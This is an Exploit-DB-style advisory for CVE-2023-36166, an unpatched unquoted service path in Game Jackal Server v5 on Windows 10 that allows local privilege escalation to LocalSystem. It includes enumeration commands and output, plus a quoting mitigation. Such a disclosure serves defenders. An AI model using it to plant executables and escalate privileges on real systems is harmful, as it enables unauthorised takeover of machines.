Game Jackal Server v5 - Unquoted Service Path

vendor:

Game Jackal Server

by:

Idan Malihi

7.5

CVSS

HIGH

Unquoted Service Path

428

CWE

Product Name: Game Jackal Server

Affected Version From: 5

Affected Version To: 5

Patch Exists: NO

Related CWE: CVE-2023-36166

CPE: a:allradiosoft:game_jackal_server:5

Metasploit:

Other Scripts:

Platforms Tested: Microsoft Windows 10 Pro

2023

Game Jackal Server v5 – Unquoted Service Path

The Game Jackal Server v5 software on Windows 10 Pro has an unquoted service path vulnerability, which allows local attackers to gain elevated privileges via a Trojan horse executable file in the %SYSTEMDRIVE% folder.

Mitigation:

The vendor has not provided a patch for this vulnerability. To mitigate the risk, users can manually update the service path to include quotes around the executable file path.

Source

Exploit-DB raw data:

# Exploit Title: Game Jackal Server v5 - Unquoted Service Path
# Date: 06/07/2023
# Exploit Author: Idan Malihi
# Vendor Homepage: https://www.allradiosoft.ru
# Software Link: https://www.allradiosoft.ru/en/ss/index.htm
# Version: 5
# Tested on: Microsoft Windows 10 Pro
# CVE : CVE-2023-36166

#PoC

C:\Users>wmic service get name,pathname,displayname,startmode | findstr /i
auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
Game Jackal Server v5
        GJServiceV5                               C:\Program Files
(x86)\SlySoft\Game Jackal v5\Server.exe                                 Auto

C:\Users>sc qc GJServiceV5
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: GJServiceV5
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\SlySoft\Game Jackal
v5\Server.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Game Jackal Server v5
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users>systeminfo

Host Name:                 DESKTOP-LA7J17P
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19042 N/A Build 19042
OS Manufacturer:           Microsoft Corporation